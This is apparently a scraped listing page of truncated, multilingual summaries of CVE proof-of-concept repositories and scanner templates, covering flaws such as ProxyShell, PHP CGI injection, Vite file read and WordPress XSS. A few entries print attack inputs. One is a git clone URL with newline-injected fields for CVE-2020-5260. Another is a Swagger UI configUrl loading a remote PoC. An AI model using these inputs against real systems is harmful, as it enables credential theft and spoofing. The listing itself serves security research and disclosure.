CVE-2024-22243

CVE-2024-22243 作者：Sean Pesce 该项目包含一个示例 Web 应用，用于演示以下漏洞的可利用场景： CVE-2024-22243， 这是 Java Spring Framework 中的一个 URL 解析漏洞 （官方披露见此处）。 漏洞 受影响版本的 Spring 会以独特方式解析 URL 中的 “userinfo”段， 这可能导致提取出的主机名段与许多 其他常见库不同。 该异常行为源于以下正则表达式（regex），它位于 UriComponentsBuilder 类中（由 此提交 于 2014 年引入）： root@kitploit: private stati...

CVE-2018-25031

CVE-2018-25031 描述： Swagger UI 4.1.3 之前版本存在一个漏洞，远程攻击者可能利用该漏洞进行欺骗攻击。通过诱骗受害者打开精心构造的 URL，攻击者可利用此漏洞显示远程 OpenAPI 定义。 攻击前截图： PoC： root@kitploit: /index.html?configUrl=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 漏洞概述 CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制，通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞，因为造成漏洞的原因非常相似。 CVE-2025-30208影响版本如下所示 root@kitploit: =6.2.0, =6.1.0, =6.0.0, =5.0.0, =6.2.0, =6.1.0, =6.0.0...

CVE-2021-21349

CVE-2021-21349 XStream SSRF XStream 官方公告 CVE-2021-21349 漏洞 CVE-2021-21349：在使用 XStream 进行反序列化时，可触发服务端请求伪造（SSRF），从而访问内网或本地主机中任意 URL 引用的资源。 受影响版本 使用默认配置的所有版本（包括 1.4.15 及之前版本）均受影响。如果用户按照建议设置了 XStream 的安全框架，仅允许白名单中的必需类型，则不受影响。 描述 在反序列化过程中，被处理的流包含用于重建先前写入对象的类型信息。XStream...

CVE-2024-4577

Orange Tsi 🍊 该漏洞由 Orange Tsai（@orange8361）来自 DEVCORE（@d3vc0r3）发现。请务必关注他卓越的研究，我们的角色仅是复现并为该问题开发利用程序。 安全警报：CVE-2024-4577 PHP CGI 参数注入漏洞 概述 CVE-2024-4577 是一个影响 PHP CGI 配置的严重漏洞，允许攻击者通过精心构造的 URL 参数执行任意命令。 受影响版本 PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 攻击向量 攻击者可通过向 PHP CGI...

CVE-2023-22432

CVE-2023-22432 web2pyの脆弱性（CVE-2023-22432）のPoC検証 web2py の脆弱性（CVE-2023-22432）が2023年1月31日（米国時間）に公開されました。この記事では、この脆弱性に関する検討と検証結果について説明します。 脆弱性の概要 この脆弱性は、web2pyのオープンリダイレクト脆弱性であり、管理ページのURLにおいてコールバック先URLとして任意のURLを指定できます。もともとオープンリダイレクト対策は実装されていましたが、URLに特別なバイパス手法を適用することで再現されます。これにより、悪意のあるサイトに誘導される可能性があります...

CVE-2021-43798

CVE-2021-43798 1. Resumen Grafana es una plataforma de código abierto que soporta funciones de monitoreo y gestión de datos. En las versiones siguientes existe una vulnerabilidad de Path Traversal que permite manipular la ruta de archivos mediante caracteres especiales como ../. 8.0.0 y...

CVE-2024-2997

CVE-2024-2997 扫描器 概述 CVE-2024-2997 扫描器是一款高级漏洞扫描器，用于检测 Web 应用中的命令注入漏洞。该工具可帮助安全专业人员识别其应用中潜在的安全风险。 免责声明 本工具仅供教育目的 使用。请仅在您拥有或已获得测试许可的应用上使用。作者不对因使用本工具造成的任何滥用或损害负责。 功能特性 高性能扫描 ：利用多线程（最多 20 个线程）实现快速扫描 全面的 URL 生成 ：生成大量潜在易受攻击的 URL 实时进度跟踪 ：通过动态进度条显示扫描进度 详细报告 ：生成扫描结果的文本和 HTML 报告 漏洞分类 ：按置信度对发现进行分类（低、中、高、严重）...

CVE-2025-31486-Simulation

Vite 路径遍历实验室（CVE-2025-31486） 一个动手实践的容器化实验室环境，用于模拟并利用 Vite 开发服务器中的路径遍历漏洞，该漏洞编号为 CVE-2025-31486。 📖 关于该漏洞 本实验室演示了在旧版 Vite （一款现代 Web 开发构建工具）中发现的一个严重路径遍历漏洞。该漏洞允许攻击者绕过 Vite 开发服务器中的安全限制，从本地文件系统中读取任意文件。 问题的核心在于 Vite 的静态资源插件处理 URL 的方式。通过构造带有 ?.svg 和 ?.wasm?init 等后缀的特殊 URL，攻击者可以诱骗服务器跳过关键的安全检查（特别是...

OAuth-Request-Crafter

OAuth-Request-Crafter OAuth Request Crafter 是一个帮助您操作受 OAuth 签名保护的 URL 的工具。 特性 支持 GET、POST、PUT 和 DELETE 代理请求 实时篡改 URL、参数和标头 添加额外标头和 Cookie 为什么？ 当处理受 OAuth 签名保护的 URL 时，要篡改或发起请求，每次都需要使用某个工具生成有效的签名和防重放保护参数，然后添加到代理中才能成功发起请求。这很麻烦，因为每次请求都要手动操作。 OAuth Request Crafter 将通过自动化解决这个问题。 提供消费者密钥（CONSUMER...

ProxyShell

ProxyShell（CVE-2021-34473） CVE-2021-34473 Microsoft Exchange Server 远程代码执行漏洞。 这种错误的 URL 规范化机制允许我们以 Exchange Server 计算机账户身份访问任意后端 URL。尽管此漏洞的威力不如 ProxyLogon 中的 SSRF，并且我们只能操纵 URL 的路径部分，但它仍然足以让我们在任意后端访问的基础上实施进一步攻击。 CVE-2021-34523 - Exchange PowerShell 后端权限提升 CVE-2021-31207 - 认证后任意文件写入 Scanner 用于...

CVE-2024-4956

CVE-2024-4956 - Unauthenticated Path Traversal in Nexus Repository Manager 3 The Nexus Repository Manager is a repository manager that organizes, stores, and distributes artifacts needed for development. A path traversal vulnerability has been discovered in Nexus Repository 3, in versions prior t...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 Microsoft サポート診断ツールの脆弱性に関するガイダンス MSRC / msrc 著 / 2022年5月30日 2022年5月30日月、Microsoft は、Windows の Microsoft サポート診断ツール MSDT の脆弱性に関する CVE-2022-30190 を公開しました。 Word などの呼び出し元アプリケーションが URL プロトコルを使用して MSDT...

loboguara

Lobo Guará - 网络威胁情报平台 Lobo Guará 是一个面向网络安全专业人士的平台，提供多种专注于网络威胁情报（CTI）的功能。它提供了用于识别威胁、监控数据泄露、分析可疑域名和 URL 等工具。 功能 1. SSL 证书搜索 允许识别可能对组织构成威胁的域名和子域名。由受信任机构颁发的 SSL 证书会被实时索引，用户可以使用 4 个及以上字符的关键词进行搜索。 注意 ：当前数据库包含自 2024 年 9 月 5 日起颁发的证书。 2. SSL 证书发现 允许插入关键词进行监控。当证书被颁发且通用名称包含该关键词（至少 5 个字符）时，它将显示给用户。 3. 追踪链接...

loboguara

Lobo Guará - Cyber Threat Intelligence Platform Lobo Guará is a platform aimed at cybersecurity professionals, with various features focused on Cyber Threat Intelligence CTI. It offers tools that make it easier to identify threats, monitor data leaks, analyze suspicious domains and URLs, and much...

Telaen => v1.3.1 - Open Redirect

Open Redirection Vulnerability in the redir.php script in Telaen before 1.3.1 allows remote attackers to redirect victims to arbitrary websites via a crafted URL. id: CVE-2013-2621 info: name: Telaen = v1.3.1 - Open Redirect author: ctflearner severity: medium description: | Open Redirection...

Post Sync Plugin <= 1.1 - Cross-Site Scripting

Post Sync WordPress plugin = 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a maliciou...

Widget4Call WordPress - Cross-Site Scripting

Widget4Call WordPress plugin = 1.0.7 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL. id: CVE-2024-13099 info: name:...

WSO2 - Server Side Request Forgery

WSO2 products contain SSRF and reflected XSS vulnerabilities in the deprecated Try-It feature accessible only to administrative users, caused by improper URL validation and direct content reflection, letting attackers trick admins into executing arbitrary JavaScript and querying internal services...